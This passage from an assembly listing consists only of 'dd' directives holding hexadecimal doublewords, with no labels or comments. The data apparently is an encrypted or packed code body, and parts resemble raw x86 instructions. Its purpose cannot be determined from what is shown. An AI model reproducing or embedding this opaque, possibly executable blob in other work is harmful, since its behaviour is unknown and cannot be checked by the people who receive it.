		dd 1E4ECDB7h, 220E1134h, 0EAFA391Fh, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 80E3ABE2h, 0D36000D4h, 1E4ECDB7h, 3F0E0734h
		dd 0EAB4F7C2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 8CE3ABE2h
		dd 0D36000D4h, 1E4ECDB7h, 0FF0E1634h, 0EA9B6086h, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D3601A25h, 1E4ECDB7h
		dd 8C0E0334h, 0EA84BA6Bh, 1E6D1087h, 18E30534h,	0EA604F0Bh
		dd 88E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0D70E0334h, 0EAD7DF52h
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D36000D4h
		dd 1E4ECDB7h, 10E0334h,	0EAB984CCh, 1E6D1087h, 18E30534h
		dd 0EA604F0Bh
		dd 0B0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 7D0E1B34h, 0EAF872C0h
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0BCE3ABE2h, 0D36000D4h
		dd 1E4ECDB7h, 2A0E0B34h, 0EAA1DE49h, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 0C0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 590E0334h
		dd 0EA9C795Ch, 1E6D1087h, 18E30534h, 0EA604F0Bh, 0CCE3ABE2h
		dd 0D36000D4h, 1E4ECDB7h, 0D80E0334h, 0EAA52416h, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 0C8E3ABE2h, 0D36000D4h, 1E4ECDB7h
		dd 0D90E1B34h, 0EAB29952h, 1E6D1087h, 18E30534h, 0EA604F0Bh
		dd 0B8E3ABE2h, 0D36000D4h, 1E4ECDB7h, 5B0E1B34h, 0EAF8CB66h
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0A4E3ABE2h, 0D36000D4h
		dd 1E4ECDB7h, 5D0E1B34h, 0EAB7311Ah, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 0A0E3ABE2h, 7F6000D4h, 566E036h,	150E4432h
		dd 7F662222h, 0B8F3EE32h, 9C608327h, 1E72B5B7h,	8BE3AF34h
		dd 0EA6000FEh, 7D62E2E2h, 15665432h, 1546225Ah,	0EA667B32h
		dd 1E7325A7h, 0C4E3CD34h, 9C602925h, 1E5498B7h,	7D26E234h
		dd 15665432h, 1466225Ah, 0EA667B32h, 1E7325A7h,	48E3CD34h
		dd 9E602919h, 1E551487h, 48FB0334h, 9C604F29h, 1E75E787h
		dd 50FB9834h, 9E60831Dh, 1E7D19AFh, 966DA934h, 916911CBh
		dd 156682EDh, 26061562h, 0FCE3ABF2h, 0AB601A37h, 1566880Eh
		dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h
		dd 0D879FBBh, 0EAE31739h, 156C0D3Dh, 1B8E4432h,	0FC662223h
		dd 156611A3h, 7EB10363h, 80EF40E0h, 136D268Bh, 150E1558h
		dd 47668822h, 80994458h, 136D379Fh, 323394BBh, 0C5ED8E39h
		dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h
		dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 1E72B58Fh, 0EAAFA134h
		dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah,	0EA8C943Dh
		dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0FCE3EE60h, 9E608337h
		dd 1E63ADA7h, 0F4F31B34h, 1A601A2Ah, 156682B6h,	96381E32h
		dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 527C1F5h, 15662439h
		dd 90A11132h, 136D89BFh, 15664432h, 0F37B9FB1h,	1A661723h
		dd 156680B6h, 0A7FBC932h, 0EA603378h, 24E3EEE1h, 96608312h
		dd 1E46758Fh, 97694634h, 15661150h, 35570DF5h, 15674239h
		dd 98062232h, 480E487h,	75DB0534h, 3E605631h, 9EB1A9CCh
		dd 1E72E08Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h,	0FCA79636h
		dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 136D9103h
		dd 1571C03Dh, 0A8E52232h, 136D3627h, 1FE38732h,	0D2664432h
		dd 1E614FB7h, 15661034h, 26DFE932h, 0AF687D03h,	78EBE200h
		dd 0D0D3989Fh, 0D2608321h, 1566B874h, 0FB5B2232h, 1A88FFDCh
		dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h,	15604F32h
		dd 96664432h, 0A0EF26F4h, 136D02F7h, 156E71DBh,	26BECF32h
		dd 1E614FB7h, 16AED034h, 0D5A74A19h, 9CA77722h,	1E614FAFh
		dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h,	9069AA89h
		dd 1566880Bh, 156642F5h, 0D3E52232h, 0D0D39836h, 9E608321h
		dd 1E7D19AFh, 9E6DA934h, 0D7ED71E2h, 1EDF0D19h,	0F5A74239h
		dd 0C0E32130h, 83601A2Ah, 9CA78B9Fh, 747A6076h,	15665EDBh
		dd 26344032h, 40F303FBh, 2E604F15h, 2DE22D30h, 96661132h
		dd 2E278CF0h, 1E7EA5BFh, 0FDE32D34h, 9899EECDh,	4835287h
		dd 0A8DBC934h, 0B9602916h, 9169D1B6h, 15668834h, 0EA97AD98h
		dd 15DEDDCDh, 98661132h, 1E2B5FBFh, 9C87BB34h, 1E63CBBFh
		dd 433F4B34h, 0E3B15B9h, 1EED4239h, 108FA7B9h, 0F5B71739h
		dd 6570D31h, 0E3554239h, 0D4CB44A4h, 906513D2h,	136D90E7h
		dd 0D465E9A4h, 3CDBA16Ch, 14601A21h, 155F0C3Dh,	985D4432h
		dd 136D2933h, 154B953Dh, 985D8832h, 136D4727h, 1547A63Dh
		dd 985D1132h, 136D917Fh, 1573C03Dh, 88EB2232h, 1377EA0Ah
		dd 0EDED5BCDh, 2E7C1BBh, 0A18F2439h, 98661134h,	49DB0AFh
		dd 96B5BB34h, 1E750B8Fh, 91691134h, 1566882Fh, 316FC109h
		dd 91692439h, 1566113Eh, 16070D09h, 90694239h, 15662237h
		dd 0EA99A8DBh, 44E3B3CDh, 1A604F13h, 15663AB7h,	0CDB9232h
		dd 15608339h, 156DC13Dh, 90EB2232h, 1377A128h, 0EA991DDBh
		dd 44E37FCDh, 1A602913h, 0EA9998B6h, 0C3DB0BCDh, 146055D7h
		dd 1571A73Dh, 905D1132h, 13776E07h, 156DC13Dh, 90EB2232h
		dd 153EF792h, 0EA99E5DBh, 969977CDh, 1E66038Fh,	91691134h
		dd 15668B55h, 0F347C109h, 12132423h, 1AD794B9h,	2E218E39h
		dd 4806DB7h, 9E615734h,	1E6414B7h, 905DCF34h, 1377A217h
		dd 90ED2547h, 136D1243h, 38E3B375h, 606055D4h, 60E3A935h
		dd 52601A10h, 0F3570D09h, 12134223h, 3C9FA7B9h,	2E211739h
		dd 480BDB7h, 9E613134h,	1E601BB7h, 905D5634h, 13776E0Bh
		dd 90ED4347h, 136D00B3h, 28E32A75h, 606099D4h, 0FCE3CF35h
		dd 52602902h, 0F3279409h, 12138E23h, 19B3C1B9h,	2E212439h
		dd 48054B7h, 9E61FD34h,	1E73FDB7h, 905D6534h, 1377F77Fh
		dd 90ED8F47h, 136D758Fh, 5CE31975h, 606000D4h, 0E8DB0B22h
		dd 15604F12h, 90ED2547h, 136D3873h, 80DB0B75h, 15604F10h
		dd 905D2D46h, 1377F7E7h, 90ED8F47h, 136D48C7h, 84DBA175h
		dd 15601A34h, 0A8E5FA46h, 136D508Bh, 2E0F5632h,	480A8B7h
		dd 9E61FD34h, 1E47B9B7h, 905D6534h, 1377F7FBh, 90ED8F47h
		dd 136D773Fh, 0A8E31975h, 606000D4h, 8E30335h, 52604F35h
		dd 0F3ABA709h, 12131723h, 3130DB9h, 2E214239h, 480F3B7h
		dd 9E616434h, 1E66DDB7h, 905D0334h, 1377C4F3h, 90ED1647h
		dd 136D8B77h, 0D0E37F75h, 606033D4h, 0A8E39A35h, 5260831Ah
		dd 1DFF9B1h, 1A662439h,	15641BB6h, 44E3B332h, 606055D4h
		dd 84E3A935h, 52601A30h, 0F3830D09h, 12134223h,	0BCFA7B9h
		dd 2E211739h, 480DDB7h,	9E613134h, 1E67F7B7h, 905D5634h
		dd 13776E6Bh, 90ED4347h, 136D0B83h, 48E32A75h, 606099D4h
		dd 0E0E3CF35h, 52602921h, 0F3079409h, 5138E23h,	359BF9B1h
		dd 60662439h, 34E39A35h, 5260832Ah, 0F303C109h,	12132423h
		dd 344F94B9h, 2E218E39h, 4802DB7h, 96765734h, 1E46EC8Fh
		dd 12138834h, 15BBC1B9h, 2E212439h, 4807CB7h, 9E61FD34h
		dd 1E4609B7h, 905D6534h, 1377F743h, 90ED8F47h, 136D67CFh
		dd 6CE31975h, 606000D4h, 0E8DB0B22h, 15604F12h,	90ED2547h
		dd 136D108Fh, 60E3B375h, 606055D4h, 0E8DBA122h,	15601A12h
		dd 90ED8F47h, 136D4877h, 68E31975h, 606000D4h, 0ECE30335h
		dd 52604F2Ah, 0F3E7A709h, 12131723h, 0DFB0DB9h,	2E214239h
		dd 480A7B7h, 9E616434h,	1E7479B7h, 905D0334h, 1377C4BBh
		dd 90ED1647h, 136DA8DFh, 98E37F75h, 606033D4h, 9CE39A35h
		dd 52608327h, 0F3F7C109h, 12132423h, 19A394B9h,	2E218E39h
		dd 480D1B7h, 9E615734h,	1E6F7CB7h, 905DCF34h, 1377A2ABh
		dd 90ED2547h, 136D3A57h, 0B4E3B375h, 60604F25h,	80E3A935h
		dd 52601A1Bh, 0F3FB0D09h, 12134223h, 1863A7B9h,	2E211739h
		dd 48051B7h, 967F3134h,	480C38Fh, 1C131134h, 64F35B1h
		dd 61664239h, 20E3A935h, 52601A29h, 0F3BB0D09h,	0C134223h
		dd 0F3879FB1h, 60661723h, 3CDB0B3Bh, 15604F21h,	90ED2546h
		dd 136D32C3h, 0B4E3B375h, 606055D4h, 0BCE3A935h, 52601A2Bh
		dd 0F3C30D09h, 12134223h
		dd 3B33A7B9h, 2E211739h, 48021B7h, 9E613134h, 1E6357B7h
		dd 905D5634h, 13776E9Fh, 90ED4347h, 136D3B2Fh, 0A4E32A75h
		dd 606099D4h, 2CE3CF35h, 5260292Bh, 0F3D39409h,	12138E23h
		dd 17F7C1B9h, 1E212439h, 10E21ECDh, 0FC668832h,	0EA99BFD8h
		dd 3F33A709h, 90691739h, 15668839h, 8C4EC1BFh, 0C68F2423h
		dd 2E99EEC9h, 1E4801B7h, 0DE34B34h, 96662232h, 483C78Fh
		dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h
		dd 48055B7h, 19E22D34h,	2E661132h, 4809DB7h, 10E34B34h
		dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh
		dd 905D1132h, 13776E37h, 156DC13Dh, 90EB2232h, 153E73D6h
		dd 0EA9DE5DBh, 1CE37FCDh, 1A6033D4h, 15661AB7h,	4FE30532h
		dd 0FC661C51h, 0EA99D964h, 0F36B9409h, 90698E23h, 15664439h
		dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h
		dd 1563943Dh, 368F8832h, 9E99BBC9h, 54D3ABC2h, 9C601A16h
		dd 1E485987h, 0FC58C434h, 1540A73Dh, 6BED1132h,	9E988B33h
		dd 15A5C5ECh, 2E662272h, 1E42508Fh, 1DE48734h, 2E664432h
		dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 2B7F9B9h,	90A12439h
		dd 136D053Bh, 15668832h, 0C4D3CD52h, 9860291Ch,	76708AFh
		dd 1AB57734h, 156666B0h, 0BDFBAF32h, 0EA60014Ch, 0CBE587E1h
		dd 9E99BBCDh, 1E48F387h, 1CD39834h, 98608326h, 42C1EAFh
		dd 9EB5DD34h, 1E4250B7h, 0C4E30134h, 74604F1Ch,	0E8E4BFBFh
		dd 0C6991723h, 150C15BFh, 0C6994220h, 156AA13Dh, 90E51132h
		dd 136DA6E3h, 0EAB8AD37h, 88EBDDCDh, 137411A1h,	96695BCDh
		dd 1566443Ah, 0FC62E0B1h, 15661100h, 6BCE15BFh,	0C6994222h
		dd 156DA13Dh, 0A0ED1132h, 136DA6E3h, 1561C4DBh,	0C4EBA932h
		dd 9C601A1Ch, 1E485987h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h
		dd 88EB77CDh, 13770E80h, 0D2EDF1CDh, 2B79419h, 90EF8E39h
		dd 136D4B0Bh, 2B7A7B9h,	45311739h, 5E4105BFh, 0C4994223h
		dd 3E3BA7B9h, 42361739h, 2B70DB9h, 98364239h, 42D74BFh
		dd 9EB7EE34h, 3EAE03E2h, 1E4D19BFh, 4DBA134h, 15601A34h
		dd 154D0C3Dh, 90ED4432h, 136D020Fh, 13779419h, 0D45D8E39h
		dd 1571C23Dh, 90ED2232h, 136D31BBh, 13770D31h, 90EF4239h
		dd 136D35B3h, 156652DBh, 0D4EDD932h, 1A99497Ah,	9C262232h
		dd 1E462CB7h, 0B0E38934h, 0D2604F30h, 1E6033B7h, 15661134h
		dd 7D26E232h, 15665432h, 0EA664863h, 1E73BCA7h,	4CF37734h
		dd 9C604F1Dh, 1E46ABB7h, 94E39834h, 4C608325h, 2E7F1CDh
		dd 0A0992439h, 136D3A6Fh, 0C4D37765h, 98604F25h, 429CAB7h
		dd 14B6EE34h, 1E6099BFh, 94DBCF34h, 9E602925h, 1E4D4C87h
		dd 9EC27B34h, 1E758187h, 53A18F34h, 156611CEh, 10A64932h
		dd 2C577737h, 88E3213Ch, 9E601A27h, 1E7109BFh, 0B86ECD34h
		dd 159A64F5h, 9C661132h, 1E754D87h, 0EA9EC734h,	1546A73Dh
		dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h,	15661132h
		dd 9C624EB1h, 1E758187h, 0E380CB34h, 0D5A7EECDh, 88E38B31h
		dd 96604F27h, 1E4EFF8Fh, 91691034h, 156688AFh, 0BFCC7AB3h
		dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h,	0A5F12232h
		dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 136D311Bh, 2BE21E33h
		dd 0AD668832h, 15664532h, 0F37B9FB1h, 1A661723h, 156680B6h
		dd 3CFBC932h, 0EA603361h, 855991E1h, 156E0C3Dh,	0D2E54432h
		dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h
		dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 8DB9232h
		dd 156099D4h, 156EC03Dh, 88EB2232h, 137743CBh, 52EE5BCDh
		dd 94E3CF36h, 3E602925h, 118E92F5h, 53A12599h, 156644CEh
		dd 0EA77CB32h, 0A0EFEECDh, 136D9BF7h, 95662C60h, 150C2232h
		dd 3233A4CDh, 80998E39h, 136D5D47h, 48EBA968h, 0D2601A29h
		dd 15668833h, 11A7C732h, 0E3BAFBBh, 58F1739h, 0FC9977C7h
		dd 15664296h, 48EBA952h, 9E601A29h, 0CEB013Bh, 946055D4h
		dd 51326C0Ah, 9E31E7Eh,	73668832h, 59623CB3h, 5E32D1Ch
		dd 9E661132h, 13A00BC2h, 3C73C1B9h, 138F2439h, 9E661133h
		dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh
		dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h
		dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h,	0EAA1A43Dh
		dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh,	6F5A1132h
		dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h
		dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h,	1E42E187h
		dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h
		dd 0B195E6B5h, 1599CFF4h, 31C3D1BFh, 90ED2439h,	136D20F7h
		dd 906948B7h, 15664428h, 3D23A7F4h, 7D211739h, 0C1FC2FE0h
		dd 633F1CDh, 90EB2439h,	13686C2Ah, 0EA3458CDh, 1AA6C1E2h
		dd 15661AB7h, 60E39A32h, 9060831Ah, 0FE34BF2h, 0D3662232h
		dd 1E4E54B7h, 0FC0EC434h, 0EABF9E2Eh, 1E757787h, 0DE39C34h
		dd 0EA60864Fh, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh
		dd 0CE3CD32h, 456033D4h, 0A4E39C64h, 0EA6086A7h, 1AA64FE2h
		dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h,	0CEBA952h
		dd 456000D4h, 556549B9h, 9DF6CF0Eh, 9C662232h, 1E7FA4A7h
		dd 159E8D34h, 45ED4432h, 78F3AB3Eh, 4D601A2Dh, 3142CCB9h
		dd 905D8519h, 136D3D5Fh, 1576933Dh, 905D8832h, 136D5D87h
		dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h
		dd 15661516h, 10DE8832h, 98664432h, 1E2BF5BFh, 7587EE34h
		dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h
		dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh
		dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh
		dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h,	9169EAC9h
		dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh,	4BD087CDh
		dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h,	1A98454Ch
		dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh
		dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h
		dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h
		dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h,	0F38FC1F5h
		dd 15602423h, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h
		dd 54E39A7Ch, 9E608316h, 1E724DA7h, 96B8A934h, 4B6517F1h
		dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h,	96B9A3CDh
		dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h
		dd 136D0CE3h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0F38FA7F5h
		dd 15641723h, 0CBED8832h, 9568F23Dh, 9669A2CBh,	1566113Ah
		dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h
		dd 54E3CFEBh, 9E602916h, 1E7218A7h, 54DB0B34h, 14604F22h
		dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh
		dd 9B8FEECDh, 0D2668832h, 480ADB7h, 15662034h, 1AB89A32h
		dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh,	95668832h
		dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 31270DB9h, 80ED4239h
		dd 136D363Bh, 527ACB1h,	1A678E39h, 15660CB6h, 1ABE1932h
		dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh,	0A5689B98h
		dd 1A8708B2h, 3ECC8538h
		dd 118DA1EDh, 0D3E5BAA1h, 0C4D30130h, 0D2604F1Ch, 1E7663B7h
		dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h,	0EA9F66DBh
		dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h,	9638D169h
		dd 0D28F40F6h, 0D299DDCBh, 480F8B7h, 15668D34h,	96B8CF32h
		dd 0B6526F1h, 312794B9h, 80ED8E39h, 136D503Bh, 98DBA17Ch
		dd 14601A33h, 14650C3Dh, 0CD5D4432h, 156EA03Dh,	0CF5D1132h
		dd 154D0E3Dh, 0A0EF4432h, 136D0CE3h, 0F38F8CB9h, 49678E23h
		dd 0CB8F4816h, 4A662232h, 14EB94F5h, 15678E39h,	4C3D4432h
		dd 11A2A16Ch, 0EA9EE6DBh, 54DB0BCDh, 14604F22h,	15DDA63Dh
		dd 884D1132h, 136DAC73h, 2B7C9B9h, 0DE652439h, 0FCE5DE19h
		dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch
		dd 0F38FC1F5h, 15642423h, 0CBED1132h, 95683E3Dh, 9669C4CBh
		dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh
		dd 3E661132h, 54E303EBh, 9E604F16h, 1E722BA7h, 0EA20F834h
		dd 90A177CDh, 1377A2DBh, 15662230h, 0A369CFB9h,	959F083Ch
		dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh
		dd 1566DDD3h, 9EBF3A32h, 1E42C9B7h, 1CF3CF34h, 96602926h
		dd 1E76508Fh, 91698934h, 0EA99BAFBh, 9769FA09h,	1566113Ah
		dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh,	84CC6182h
		dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h,	157EADCAh
		dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h
		dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h,	29661132h
		dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h
		dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh
		dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h,	2C8FDA6Bh
		dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h,	15661EDBh
		dd 15603132h, 108F4432h, 0AC662232h, 15661135h,	98ED2CC1h
		dd 136D503Bh, 9069EBB7h, 15661134h, 16F3DBBh, 0EC3F4239h
		dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h,	659DA2C2h
		dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh
		dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h
		dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh
		dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h,	29960630h
		dd 13E21E92h, 0ED668832h, 15664BDBh, 1CD3AB32h,	98601A26h
		dd 42CD2AFh, 0ECB5BB34h, 53ED72F1h, 0ACE39822h,	4D608339h
		dd 987A82B1h, 1E7EF78Fh, 5165BC34h, 98CDAC16h, 1E44258Fh
		dd 51658F34h, 0BE363516h, 65735BFh, 16CB4239h, 0BE4E0676h
		dd 9830D26Ch, 42CBBAFh,	0FCB5BB34h, 0FFFFFF95h,	0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 98C0D5F2h, 96A45458h,	152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 0D8E8CE25h, 0DCF1439Bh, 4E4CD32h
		dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 8338C882h
		dd 462C4565h, 9F3BDF07h, 0C6D552B9h, 0B85E0003h, 0E9835492h
		dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5046E3BDh
		dd 0F3113C52h, 0DDD3A074h, 5163B977h, 0DF79F4B9h, 1331B575h
		dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h,	7E9034F4h
		dd 5E98339h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	6B151C17h
		dd 3FD525FBh, 2EADFDF5h, 22916455h, 7ACFB734h, 29B723ACh
		dd 7A1A20ADh, 277975FDh, 0D336987Ch, 0FFA073ECh, 7C3ED226h
		dd 0E983C87Dh, 8BA4F305h, 0F5BD8DDBh, 8D0611E6h, 1201DC8Dh
		dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h,	0F4904C7h
		dd 0FFFFF285h, 83C08BFFh, 0B05BDBDh, 9750006h, 29D1BD83h
		dd 7400060Bh, 8B535019h, 411B8C0h, 85890000h, 60B1299h
		dd 0B3819D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50177400h
		dd 411B853h, 85890000h,	60B1299h, 0B0229D8Dh, 0D3FF060Dh
		dd 0C08B585Bh, 72A4F2BBh, 7F04EB46h, 0E97AA242h, 565h
		dd 0F66D64AEh, 20330E19h, 5E85B4C7h, 896A69B1h,	3A39041Ch
		dd 63B9549Bh, 1166875Ch, 0CED6372Ch, 76836CF7h,	0F973985Bh
		dd 861E1175h, 0B12796C5h, 2923D5DEh, 81E96B80h,	23892DBh
		dd 0F6EA6D93h, 257F2E92h, 0D225D01Ah, 113F13E7h, 516CB956h
		dd 38051A8Bh, 46533A0Eh, 0B91D69FDh, 0A892C394h, 0E19C0B4h
		dd 2D074F33h, 132E7BA0h, 73D127C0h, 2C372B26h, 509AB5C3h
		dd 0F6C1D7C6h, 4206CE02h, 85C394B9h, 337D9757h,	0FDC5B2A1h
		dd 806DFF53h, 92F65A77h, 0BD809974h, 59542CC9h,	0A7FC64B0h
		dd 8024369Ah, 0C39495C4h, 3F13774Bh, 83BECB24h,	9556373Fh
		dd 0D290C394h, 95582C40h, 0EB2FC394h, 4EA33E2Ch, 6A842D6Dh
		dd 0A647BD48h, 833240F4h, 6Eh, 311EBD6Dh, 0BE91638Eh, 0BACF3EE8h
		dd 5BD35D8Fh, 0C394732Fh, 0A4AC5AA0h, 9473FE8Ch, 717C36C3h
		dd 415F729Bh, 15F32h, 0DEB90000h, 0A716FAD7h, 44FB6150h
		dd 8AEFC8ADh, 0FB4FF96Fh, 27350C12h, 0F879ECB8h, 32D48EEh
		dd 9B25C70Fh, 94A07713h, 1D59F8C3h, 47848761h, 70EFFD3h
		dd 0B9A1CCAh, 0B4A693E2h, 0E9073A49h, 0B994E10Eh, 0DADE5ABAh
		dd 0D8C517FBh, 3F0DF1CCh, 941DD3B7h, 0A6E54C3h,	2B2671DCh
		dd 2EBFF9A7h, 578CB3C9h, 0EA66DB6h, 0C3941D7Ah,	2D91F5CDh
		dd 0A81C2D7Ch, 7AFE0F95h, 0C0D87C8Bh, 0D13509FDh, 1DFF296Dh
		dd 3240F2DCh, 483CB0C2h, 0DFC39417h, 370E12FBh,	8C4019h
		dd 0DEAC0000h, 0E771FBDAh, 941D3B4Fh, 0D5238CC3h, 0E06886FAh
		dd 73BFE55Ah, 0DE462C05h, 370BFFD6h, 0A7A724D3h, 0E61F97E5h
		dd 9BB6C548h, 0C8C5DF37h, 2073D923h, 0F6273529h, 0FC7791A0h
		dd 42360913h, 0DA29839Bh, 0A5C913E7h, 0C3943321h, 4785CA6h
		dd 86079DB0h, 4120CB72h, 4CE632h, 0DE0E0000h, 0C517FBDAh
		dd 7BDF3996h, 86A0B069h, 0C9D37187h, 4E5B02F6h,	574B8F73h
		dd 866A8F73h, 14320D17h, 96EA1392h, 0CD38B4AFh,	0C5398DB8h
		dd 0D7DE352Bh, 5A2E196Fh, 0B6BE0266h, 0C3941DD7h, 0F008851Fh
		dd 3240F159h, 170h, 0D3DE9C00h,	56A30AFEh, 1D6D198Dh, 98E2C394h
		dd 61D5E831h, 0D845C92Dh, 0A590E510h, 0E7E30BD1h, 68C3941Dh
		dd 96103E12h, 0AEA3EE17h, 8893E9B5h, 0FCCFCA62h, 8F60BD9Eh
		dd 0E2564A75h, 3B46EE3Bh, 7A5EB206h, 0CEFB0CF9h, 0C098EA7Ah
		dd 8BA93A60h, 0B580957Ah, 0C23441AEh, 7D18C4BCh, 3498FCB8h
		dd 0BCDE3045h, 0CE45102Ch, 89A40A4h, 608BE0E4h,	0AA13673Ah
		dd 0A79B6F56h, 0CCD88189h, 465C0DF1h, 0D3228B7Fh, 4C595BE6h
		dd 8B24A0C4h, 57AB3A60h, 2838573h, 234B889Dh, 3A608BA7h
		dd 8BA52145h, 0D02A3A60h, 43728667h, 0D6A79BFFh, 0CF03F7CEh
		dd 11FC08EBh, 0DB44C807h, 8522E82h, 0ED1B7FF8h,	3521DA73h
		dd 148F72Ch, 0BD110000h, 0DD0B4A50h, 0BAA0BBC1h, 0E015B328h
		dd 0DC0A9D97h, 9D33A232h, 46BCBD9Eh, 35FE0BF2h,	6129D5B1h
		dd 0C605A3Ah, 0D0ED36D7h, 8668BD6Ch, 648A1C02h,	23978BB3h
		dd 0C569FB75h, 3A614881h, 90123C06h, 131E8F15h,	0D8764A3Eh
		dd 0C7152075h, 0CF0CDD6h, 193441C8h, 3CB751B5h,	364629C0h
		dd 6F002Ch, 6FEC0000h, 0A09DE20Ch, 5684F8DCh, 255397C4h
		dd 14A3E559h, 784E6AFAh, 0D921C394h, 7989FD75h,	410C394h
		dd 7FF745C9h, 0C394790Bh, 0C2D7A69Ch, 535503F7h, 0D0CA3852h
		dd 0BEFE9DD5h, 0D520EF36h, 4BC5BE4h, 0AE0DDF33h, 0BE63E251h
		dd 412BC556h, 94F3092Dh, 9DE213C3h, 176DDCA0h, 0C60A428h
		dd 0C61D65E2h, 7D4C5B4Ah, 0A49BB589h, 76h, 760D6FCCh, 52140E4h
